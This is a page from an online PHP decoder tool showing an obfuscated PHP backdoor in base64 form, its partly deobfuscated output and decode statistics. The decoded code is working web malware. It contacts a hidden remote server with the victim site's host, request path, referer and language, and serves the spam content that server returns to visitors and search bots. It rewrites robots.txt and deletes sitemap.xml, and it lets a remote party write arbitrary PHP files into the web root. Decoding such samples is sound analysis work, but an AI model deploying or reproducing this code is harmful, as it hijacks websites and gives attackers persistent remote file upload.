Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIGNBVGQzOyBjQVRkMzogQHNldF90aW1lX2xpbWl0KDM2MDApOyBnb3Rv..

Decoded Output download


 goto cATd3; cATd3: @set_time_limit(3600); goto E3_l2; zZ52y: function daag($url) { $ficonts = ''; if (function_exists("\x63\165\162\154\137\x69\x6e\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto NHjY0; E3_l2: @ignore_user_abort(1); goto ddxQr; JWyQA: $ddur_tmp = st_uri(); goto b0DrE; Jm39K: $towe = $goto . "\x2e\x6d\141\156\164\142\x6e" . "\x2e\170\x79\172"; goto B0UL1; H6wQf: function pingmap($url) { $url_arr = explode("\xd\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\123\x69\164\145\x6d\x61\x70\40\x4e\157\164\x69\x66\x69\x63\141\x74\x69\157\156\x20\x52\145\x63\x65\151\166\145\144") !== false ? "\x70\x69\x6e\x67\157\153" : "\x65\162\x72\x6f\x72"; $return_str .= $pingUrl . "\x2d\x2d\x20" . $ok . "\74\x62\162\x3e"; } return $return_str; } goto jWWtG; QCSnM: $host = $_SERVER["\x48\124\x54\x50\137\110\117\x53\124"]; goto LRKoM; Ix3LS: if (ishtt()) { $http = "\x68\x74\x74\x70\x73"; } else { $http = "\150\164\164\160"; } goto JWyQA; wCwuE: $usse = ''; goto kdWuC; LRKoM: $lag = @$_SERVER["\x48\x54\x54\x50\137\x41\103\103\105\x50\124\x5f\x4c\x41\x4e\x47\x55\101\107\105"]; goto Ud9wK; hlo_R: $htwe = "\150\x74\x74\x70"; goto Ix3LS; YF66m: if (!strstr($htag, "\156\x6f\142\157\x74\x75\x73\x65\162\141\x67\145\156\164")) { if (strstr($htag, "\157\153\x68\164\x6d\154\147\145\x74\x63\157\156\164\145\156\164")) { @header("\x43\x6f\x6e\164\145\156\x74\55\164\171\160\x65\72\40\x74\x65\170\164\57\150\164\x6d\154\73\x20\x63\x68\x61\162\163\x65\x74\75\x75\164\x66\55\x38"); $htag = str_replace("\x6f\x6b\x68\164\155\154\147\145\164\x63\157\156\164\x65\156\164", '', $htag); echo $htag; die; } else { if (strstr($htag, "\x6f\x6b\x78\x6d\154\147\145\x74\143\x6f\156\164\x65\x6e\164")) { $htag = str_replace("\157\153\x78\x6d\x6c\x67\145\164\143\157\x6e\x74\x65\156\x74", '', $htag); @header("\x43\x6f\156\x74\145\x6e\x74\x2d\x74\171\160\x65\72\x20\164\x65\x78\164\57\x78\x6d\x6c"); echo $htag; die; } else { if (strstr($htag, "\160\x69\x6e\147\170\x6d\154\x67\x65\x74\x63\x6f\156\x74\145\156\164")) { $htag = str_replace("\x70\x69\x6e\147\x78\155\154\147\145\x74\x63\157\x6e\x74\145\x6e\x74", '', $htag); @header("\x43\157\156\164\x65\156\164\55\x74\x79\x70\145\x3a\40\164\x65\170\164\57\x68\x74\x6d\154\x3b\x20\143\x68\x61\x72\163\145\164\75\165\x74\x66\55\70"); echo pingmap($htag); die; } } } } goto H6wQf; kdWuC: if (isset($_SERVER["\x48\x54\x54\120\137\122\x45\106\x45\x52\105\x52"])) { $usse = $_SERVER["\110\x54\124\120\137\122\105\106\x45\122\105\x52"]; $usse = urlencode($usse); } goto EKPed; iTdj4: $web = $htwe . "\x3a\x2f\57" . $towe . "\x2f\x69\x6e\144\x65\x2e\160\x68\160\77\x77\145\x62\x3d" . $host . "\46\172\x7a\75" . sbot() . "\46\165\162\151\75" . $ddur . "\x26\x75\162\x6c\x73\x68\141\156\147\75" . $usse . "\x26\150\x74\x74\x70\x3d" . $http . "\x26\x6c\141\x6e\x67\x3d" . $lag; goto lrJKb; lrJKb: $htag = trim(daag($web)); goto YF66m; Ud9wK: $lag = urlencode($lag); goto wCwuE; QRTlx: function st_uri() { if (isset($_SERVER["\122\105\x51\125\x45\123\124\x5f\125\122\x49"])) { $ddur = $_SERVER["\x52\105\x51\x55\105\x53\x54\x5f\x55\x52\111"]; } else { if (isset($_SERVER["\141\162\x67\x76"])) { $ddur = $_SERVER["\120\x48\120\137\123\105\114\106"] . "\77" . $_SERVER["\141\x72\x67\x76"][0]; } else { $ddur = $_SERVER["\120\110\x50\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\121\x55\x45\122\131\137\123\x54\x52\x49\x4e\107"]; } } return $ddur; } goto Jm39K; b0DrE: if ($ddur_tmp == '') { $ddur_tmp = "\57"; } goto ySohV; B0UL1: function ishtt() { if (isset($_SERVER["\110\x54\x54\120\x53"]) && strtolower($_SERVER["\110\124\124\120\x53"]) !== "\157\146\146") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\x5f\130\x5f\x46\x4f\x52\127\101\x52\104\105\104\137\120\x52\117\124\117"]) && $_SERVER["\x48\x54\x54\x50\137\x58\137\106\117\x52\127\x41\122\x44\105\x44\137\120\x52\x4f\124\117"] === "\x68\164\164\x70\x73") { return true; } elseif (isset($_SERVER["\110\124\124\120\137\106\122\x4f\x4e\124\137\105\116\104\x5f\x48\x54\124\x50\123"]) && strtolower($_SERVER["\110\x54\124\120\x5f\106\x52\117\116\x54\x5f\x45\x4e\x44\x5f\x48\x54\x54\120\123"]) !== "\157\x66\x66") { return true; } return false; } goto QCSnM; ySohV: $ddur = urlencode($ddur_tmp); goto QRTlx; ddxQr: $goto = "\154\x6d\166\x64"; goto hlo_R; jWWtG: function sbot() { $uaget = strtolower($_SERVER["\110\x54\124\x50\137\x55\x53\105\122\137\x41\x47\105\116\124"]); if (stristr($uaget, "\x67\157\x6f\x67\154\x65\142\157\164") || stristr($uaget, "\x62\x69\156\x67") || stristr($uaget, "\171\141\x68\157\x6f") || stristr($uaget, "\147\157\x6f\x67\154\x65") || stristr($uaget, "\107\157\x6f\x67\x6c\x65\142\157\164") || stristr($uaget, "\x67\x6f\x6f\147\x6c\x65\142\x6f\x74")) { return true; } else { return false; } } goto zZ52y; EKPed: if (@$_GET["\160\x64"] != '') { $acot = @$_GET["\155\x61\x70\156\x61\155\145"]; $action = @$_GET["\141\x63\164\x69\x6f\156"]; if (isset($_SERVER["\104\117\103\x55\x4d\x45\116\x54\137\x52\x4f\x4f\124"])) { $path = $_SERVER["\x44\x4f\x43\x55\x4d\x45\116\124\x5f\x52\117\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\165\x74"; } if ($action == "\160\x75\164") { if (strstr($acot, "\x2e\170\155\154")) { $map_path = $path . "\57\x73\151\164\145\155\141\x70\56\x78\155\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\157\164\x73\56\164\x78\x74"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\x55\x73\145\x72\x2d\x61\147\x65\x6e\x74\72\x20\52" . "\xd\xa" . "\x41\x6c\x6c\x6f\x77\x3a\40\x2f"; } $sturs = $http . "\72\57\57" . $host . "\57" . $acot; if (stristr($data, $sturs)) { echo "\74\x62\162\x3e\163\x69\164\x65\x6d\141\160\x20\141\154\162\145\x61\144\x79\40\141\144\x64\145\x64\41\x3c\x62\162\76"; } else { if (file_put_contents($file_path, trim($data) . "\xd\xa" . "\123\151\164\x65\155\141\160\x3a\40" . $sturs)) { echo "\x3c\x62\x72\x3e\x6f\x6b\x3c\x62\x72\76"; } else { echo "\74\142\x72\x3e\x20\146\141\x6c\163\x65\41\74\x62\x72\76"; } } } else { echo "\74\x62\x72\x3e\x20\146\x61\x6c\163\145\41\74\x62\162\76"; } if (strstr($acot, "\56\x70" . "\x68\160")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\72\x2f\57" . $towe . "\x2f\x61\x2e\160" . "\150\160")) { $dstr = @$_GET["\x64\163\x74\x72"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\x6f\153"; } } } } die; } goto iTdj4; NHjY0: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIGNBVGQzOyBjQVRkMzogQHNldF90aW1lX2xpbWl0KDM2MDApOyBnb3RvIEUzX2wyOyB6WjUyeTogZnVuY3Rpb24gZGFhZygkdXJsKSB7ICRmaWNvbnRzID0gJyc7IGlmIChmdW5jdGlvbl9leGlzdHMoIlx4NjNcMTY1XDE2MlwxNTRcMTM3XHg2OVx4NmVcMTUxXHg3NCIpKSB7ICRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7ICRmaWNvbnRzID0gY3VybF9leGVjKCRjaCk7IGN1cmxfY2xvc2UoJGNoKTsgfSBpZiAoISRmaWNvbnRzKSB7ICRmaWNvbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOyB9IHJldHVybiAkZmljb250czsgfSBnb3RvIE5IalkwOyBFM19sMjogQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBnb3RvIGRkeFFyOyBKV3lRQTogJGRkdXJfdG1wID0gc3RfdXJpKCk7IGdvdG8gYjBEckU7IEptMzlLOiAkdG93ZSA9ICRnb3RvIC4gIlx4MmVceDZkXDE0MVwxNTZcMTY0XDE0Mlx4NmUiIC4gIlx4MmVcMTcwXHg3OVwxNzIiOyBnb3RvIEIwVUwxOyBINndRZjogZnVuY3Rpb24gcGluZ21hcCgkdXJsKSB7ICR1cmxfYXJyID0gZXhwbG9kZSgiXHhkXHhhIiwgdHJpbSgkdXJsKSk7ICRyZXR1cm5fc3RyID0gJyc7IGZvcmVhY2ggKCR1cmxfYXJyIGFzICRwaW5nVXJsKSB7ICRwaW5nUmVzID0gZGFhZygkcGluZ1VybCk7ICRvayA9IHN0cnBvcygkcGluZ1JlcywgIlwxMjNceDY5XDE2NFwxNDVceDZkXHg2MVx4NzBcNDBceDRlXDE1N1wxNjRceDY5XHg2Nlx4NjlceDYzXDE0MVx4NzRceDY5XDE1N1wxNTZceDIwXHg1MlwxNDVceDYzXHg2NVwxNTFcMTY2XDE0NVwxNDQiKSAhPT0gZmFsc2UgPyAiXHg3MFx4NjlceDZlXHg2N1wxNTdcMTUzIiA6ICJceDY1XDE2Mlx4NzJceDZmXHg3MiI7ICRyZXR1cm5fc3RyIC49ICRwaW5nVXJsIC4gIlx4MmRceDJkXHgyMCIgLiAkb2sgLiAiXDc0XHg2MlwxNjJceDNlIjsgfSByZXR1cm4gJHJldHVybl9zdHI7IH0gZ290byBqV1d0RzsgUUNTbk06ICRob3N0ID0gJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBcMTM3XDExMFwxMTdceDUzXDEyNCJdOyBnb3RvIExSS29NOyBJeDNMUzogaWYgKGlzaHR0KCkpIHsgJGh0dHAgPSAiXHg2OFx4NzRceDc0XHg3MFx4NzMiOyB9IGVsc2UgeyAkaHR0cCA9ICJcMTUwXDE2NFwxNjRcMTYwIjsgfSBnb3RvIEpXeVFBOyB3Q3d1RTogJHVzc2UgPSAnJzsgZ290byBrZFd1QzsgTFJLb006ICRsYWcgPSBAJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XHg0MVwxMDNcMTAzXDEwNVx4NTBcMTI0XHg1Zlx4NGNceDQxXHg0ZVx4NDdceDU1XDEwMVwxMDdcMTA1Il07IGdvdG8gVWQ5d0s7IGhsb19SOiAkaHR3ZSA9ICJcMTUwXHg3NFx4NzRceDcwIjsgZ290byBJeDNMUzsgWUY2Nm06IGlmICghc3Ryc3RyKCRodGFnLCAiXDE1Nlx4NmZcMTQyXDE1N1x4NzRceDc1XHg3M1x4NjVcMTYyXDE0MVx4NjdcMTQ1XDE1NlwxNjQiKSkgeyBpZiAoc3Ryc3RyKCRodGFnLCAiXDE1N1wxNTNceDY4XDE2NFx4NmRcMTU0XDE0N1wxNDVceDc0XHg2M1wxNTdcMTU2XDE2NFwxNDVcMTU2XDE2NCIpKSB7IEBoZWFkZXIoIlx4NDNceDZmXHg2ZVwxNjRcMTQ1XDE1Nlx4NzRcNTVcMTY0XDE3MVwxNjBceDY1XDcyXDQwXHg3NFx4NjVcMTcwXDE2NFw1N1wxNTBcMTY0XHg2ZFwxNTRcNzNceDIwXHg2M1x4NjhceDYxXDE2MlwxNjNceDY1XHg3NFw3NVx4NzVcMTY0XHg2Nlw1NVx4MzgiKTsgJGh0YWcgPSBzdHJfcmVwbGFjZSgiXHg2Zlx4NmJceDY4XDE2NFwxNTVcMTU0XDE0N1wxNDVcMTY0XHg2M1wxNTdcMTU2XDE2NFx4NjVcMTU2XDE2NCIsICcnLCAkaHRhZyk7IGVjaG8gJGh0YWc7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRhZywgIlx4NmZceDZiXHg3OFx4NmRcMTU0XDE0N1wxNDVceDc0XDE0M1x4NmZcMTU2XDE2NFx4NjVceDZlXDE2NCIpKSB7ICRodGFnID0gc3RyX3JlcGxhY2UoIlwxNTdcMTUzXHg3OFx4NmRceDZjXHg2N1wxNDVcMTY0XDE0M1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NCIsICcnLCAkaHRhZyk7IEBoZWFkZXIoIlx4NDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVx4NzRceDJkXHg3NFwxNzFcMTYwXHg2NVw3Mlx4MjBcMTY0XHg2NVx4NzhcMTY0XDU3XHg3OFx4NmRceDZjIik7IGVjaG8gJGh0YWc7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRhZywgIlwxNjBceDY5XHg2ZVwxNDdcMTcwXHg2ZFwxNTRceDY3XHg2NVx4NzRceDYzXHg2ZlwxNTZceDc0XDE0NVwxNTZcMTY0IikpIHsgJGh0YWcgPSBzdHJfcmVwbGFjZSgiXHg3MFx4NjlceDZlXDE0N1x4NzhcMTU1XDE1NFwxNDdcMTQ1XHg3NFx4NjNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzQiLCAnJywgJGh0YWcpOyBAaGVhZGVyKCJceDQzXDE1N1wxNTZcMTY0XHg2NVwxNTZcMTY0XDU1XHg3NFx4NzlceDcwXDE0NVx4M2FcNDBcMTY0XHg2NVwxNzBcMTY0XDU3XHg2OFx4NzRceDZkXDE1NFx4M2JceDIwXDE0M1x4NjhceDYxXHg3MlwxNjNcMTQ1XDE2NFw3NVwxNjVceDc0XHg2Nlw1NVw3MCIpOyBlY2hvIHBpbmdtYXAoJGh0YWcpOyBkaWU7IH0gfSB9IH0gZ290byBINndRZjsga2RXdUM6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XDEyMFwxMzdcMTIyXHg0NVwxMDZceDQ1XHg1MlwxMDVceDUyIl0pKSB7ICR1c3NlID0gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDEyMlwxMDVcMTA2XHg0NVwxMjJcMTA1XHg1MiJdOyAkdXNzZSA9IHVybGVuY29kZSgkdXNzZSk7IH0gZ290byBFS1BlZDsgaVRkajQ6ICR3ZWIgPSAkaHR3ZSAuICJceDNhXHgyZlw1NyIgLiAkdG93ZSAuICJceDJmXHg2OVx4NmVcMTQ0XHg2NVx4MmVcMTYwXHg2OFwxNjBcNzdceDc3XDE0NVx4NjJceDNkIiAuICRob3N0IC4gIlw0NlwxNzJceDdhXDc1IiAuIHNib3QoKSAuICJcNDZcMTY1XDE2MlwxNTFcNzUiIC4gJGRkdXIgLiAiXHgyNlx4NzVcMTYyXHg2Y1x4NzNceDY4XDE0MVwxNTZcMTQ3XDc1IiAuICR1c3NlIC4gIlx4MjZcMTUwXHg3NFx4NzRceDcwXHgzZCIgLiAkaHR0cCAuICJceDI2XHg2Y1wxNDFceDZlXHg2N1x4M2QiIC4gJGxhZzsgZ290byBsckpLYjsgbHJKS2I6ICRodGFnID0gdHJpbShkYWFnKCR3ZWIpKTsgZ290byBZRjY2bTsgVWQ5d0s6ICRsYWcgPSB1cmxlbmNvZGUoJGxhZyk7IGdvdG8gd0N3dUU7IFFSVGx4OiBmdW5jdGlvbiBzdF91cmkoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXDEyMlwxMDVceDUxXDEyNVx4NDVcMTIzXDEyNFx4NWZcMTI1XDEyMlx4NDkiXSkpIHsgJGRkdXIgPSAkX1NFUlZFUlsiXHg1MlwxMDVceDUxXHg1NVwxMDVceDUzXHg1NFx4NWZceDU1XHg1MlwxMTEiXTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTQxXDE2Mlx4NjdceDc2Il0pKSB7ICRkZHVyID0gJF9TRVJWRVJbIlwxMjBceDQ4XDEyMFwxMzdcMTIzXDEwNVwxMTRcMTA2Il0gLiAiXDc3IiAuICRfU0VSVkVSWyJcMTQxXHg3Mlx4NjdceDc2Il1bMF07IH0gZWxzZSB7ICRkZHVyID0gJF9TRVJWRVJbIlwxMjBcMTEwXHg1MFx4NWZcMTIzXDEwNVwxMTRcMTA2Il0gLiAiXHgzZiIgLiAkX1NFUlZFUlsiXDEyMVx4NTVceDQ1XDEyMlwxMzFcMTM3XDEyM1x4NTRceDUyXHg0OVx4NGVcMTA3Il07IH0gfSByZXR1cm4gJGRkdXI7IH0gZ290byBKbTM5SzsgYjBEckU6IGlmICgkZGR1cl90bXAgPT0gJycpIHsgJGRkdXJfdG1wID0gIlw1NyI7IH0gZ290byB5U29oVjsgQjBVTDE6IGZ1bmN0aW9uIGlzaHR0KCkgeyBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBceDUzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBceDUzIl0pICE9PSAiXDE1N1wxNDZcMTQ2IikgeyByZXR1cm4gdHJ1ZTsgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1ZlwxMzBceDVmXHg0Nlx4NGZceDUyXDEyN1wxMDFceDUyXDEwNFwxMDVcMTA0XDEzN1wxMjBceDUyXDExN1wxMjRcMTE3Il0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFx4NTRceDUwXDEzN1x4NThcMTM3XDEwNlwxMTdceDUyXDEyN1x4NDFcMTIyXHg0NFwxMDVceDQ0XDEzN1wxMjBceDUyXHg0ZlwxMjRcMTE3Il0gPT09ICJceDY4XDE2NFwxNjRceDcwXHg3MyIpIHsgcmV0dXJuIHRydWU7IH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFwxMzdcMTA2XDEyMlx4NGZceDRlXDEyNFwxMzdcMTA1XDExNlwxMDRceDVmXHg0OFx4NTRcMTI0XHg1MFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZcMTA2XHg1MlwxMTdcMTE2XHg1NFx4NWZceDQ1XHg0ZVx4NDRceDVmXHg0OFx4NTRceDU0XDEyMFwxMjMiXSkgIT09ICJcMTU3XHg2Nlx4NjYiKSB7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBnb3RvIFFDU25NOyB5U29oVjogJGRkdXIgPSB1cmxlbmNvZGUoJGRkdXJfdG1wKTsgZ290byBRUlRseDsgZGR4UXI6ICRnb3RvID0gIlwxNTRceDZkXDE2Nlx4NjQiOyBnb3RvIGhsb19SOyBqV1d0RzogZnVuY3Rpb24gc2JvdCgpIHsgJHVhZ2V0ID0gc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMzdceDU1XHg1M1wxMDVcMTIyXDEzN1x4NDFceDQ3XDEwNVwxMTZcMTI0Il0pOyBpZiAoc3RyaXN0cigkdWFnZXQsICJceDY3XDE1N1x4NmZceDY3XDE1NFx4NjVcMTQyXDE1N1wxNjQiKSB8fCBzdHJpc3RyKCR1YWdldCwgIlx4NjJceDY5XDE1Nlx4NjciKSB8fCBzdHJpc3RyKCR1YWdldCwgIlwxNzFcMTQxXHg2OFwxNTdceDZmIikgfHwgc3RyaXN0cigkdWFnZXQsICJcMTQ3XDE1N1x4NmZceDY3XDE1NFx4NjUiKSB8fCBzdHJpc3RyKCR1YWdldCwgIlwxMDdcMTU3XHg2Zlx4NjdceDZjXHg2NVwxNDJcMTU3XDE2NCIpIHx8IHN0cmlzdHIoJHVhZ2V0LCAiXHg2N1x4NmZceDZmXDE0N1x4NmNceDY1XDE0Mlx4NmZceDc0IikpIHsgcmV0dXJuIHRydWU7IH0gZWxzZSB7IHJldHVybiBmYWxzZTsgfSB9IGdvdG8gelo1Mnk7IEVLUGVkOiBpZiAoQCRfR0VUWyJcMTYwXHg2NCJdICE9ICcnKSB7ICRhY290ID0gQCRfR0VUWyJcMTU1XHg2MVx4NzBcMTU2XHg2MVwxNTVcMTQ1Il07ICRhY3Rpb24gPSBAJF9HRVRbIlwxNDFceDYzXDE2NFx4NjlceDZmXDE1NiJdOyBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMDRcMTE3XDEwM1x4NTVceDRkXHg0NVwxMTZceDU0XDEzN1x4NTJceDRmXHg0ZlwxMjQiXSkpIHsgJHBhdGggPSAkX1NFUlZFUlsiXHg0NFx4NGZceDQzXHg1NVx4NGRceDQ1XDExNlwxMjRceDVmXHg1MlwxMTdcMTE3XHg1NCJdOyB9IGVsc2UgeyAkcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pOyB9IGlmICghJGFjdGlvbikgeyAkYWN0aW9uID0gIlwxNjBcMTY1XHg3NCI7IH0gaWYgKCRhY3Rpb24gPT0gIlwxNjBceDc1XDE2NCIpIHsgaWYgKHN0cnN0cigkYWNvdCwgIlx4MmVcMTcwXDE1NVwxNTQiKSkgeyAkbWFwX3BhdGggPSAkcGF0aCAuICJcNTdceDczXDE1MVwxNjRcMTQ1XDE1NVwxNDFceDcwXDU2XHg3OFwxNTVcMTU0IjsgaWYgKGlzX2ZpbGUoJG1hcF9wYXRoKSkgeyBAdW5saW5rKCRtYXBfcGF0aCk7IH0gJGZpbGVfcGF0aCA9ICRwYXRoIC4gIlx4MmZceDcyXDE1N1x4NjJcMTU3XDE2NFx4NzNcNTZcMTY0XHg3OFx4NzQiOyBpZiAoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsgJGRhdGEgPSBkYWFnKCRmaWxlX3BhdGgpOyB9IGVsc2UgeyAkZGF0YSA9ICJceDU1XHg3M1wxNDVceDcyXHgyZFx4NjFcMTQ3XHg2NVx4NmVceDc0XDcyXHgyMFw1MiIgLiAiXHhkXHhhIiAuICJceDQxXHg2Y1x4NmNceDZmXHg3N1x4M2FcNDBceDJmIjsgfSAkc3R1cnMgPSAkaHR0cCAuICJcNzJcNTdcNTciIC4gJGhvc3QgLiAiXDU3IiAuICRhY290OyBpZiAoc3RyaXN0cigkZGF0YSwgJHN0dXJzKSkgeyBlY2hvICJcNzRceDYyXDE2Mlx4M2VcMTYzXHg2OVwxNjRceDY1XHg2ZFwxNDFcMTYwXHgyMFwxNDFcMTU0XDE2MlwxNDVceDYxXDE0NFx4NzlcNDBcMTQxXDE0NFx4NjRcMTQ1XHg2NFw0MVx4M2NceDYyXDE2Mlw3NiI7IH0gZWxzZSB7IGlmIChmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCB0cmltKCRkYXRhKSAuICJceGRceGEiIC4gIlwxMjNcMTUxXDE2NFx4NjVcMTU1XDE0MVwxNjBceDNhXDQwIiAuICRzdHVycykpIHsgZWNobyAiXHgzY1x4NjJceDcyXHgzZVx4NmZceDZiXHgzY1x4NjJceDcyXDc2IjsgfSBlbHNlIHsgZWNobyAiXDc0XDE0Mlx4NzJceDNlXHgyMFwxNDZcMTQxXHg2Y1wxNjNceDY1XDQxXDc0XHg2Mlx4NzJcNzYiOyB9IH0gfSBlbHNlIHsgZWNobyAiXDc0XHg2Mlx4NzJceDNlXHgyMFwxNDZceDYxXHg2Y1wxNjNcMTQ1XDQxXDc0XHg2MlwxNjJcNzYiOyB9IGlmIChzdHJzdHIoJGFjb3QsICJcNTZceDcwIiAuICJceDY4XDE2MCIpKSB7IGlmIChzaGExKHNoYTEoQCRfR0VUWyJcMTQxIl0pKSA9PSBkYWFnKCRodHdlIC4gIlw3Mlx4MmZcNTciIC4gJHRvd2UgLiAiXHgyZlx4NjFceDJlXDE2MCIgLiAiXDE1MFwxNjAiKSkgeyAkZHN0ciA9IEAkX0dFVFsiXHg2NFwxNjNceDc0XHg3MiJdOyBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGggLiAiXHgyZiIgLiAkYWNvdCwgJGRzdHIpKSB7IGVjaG8gIlx4NmZcMTUzIjsgfSB9IH0gfSBkaWU7IH0gZ290byBpVGRqNDsgTkhqWTA6IA==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5a3874e28af5eb33b55b7cce3ea841cd
Eval Count 1
Decode Time 95 ms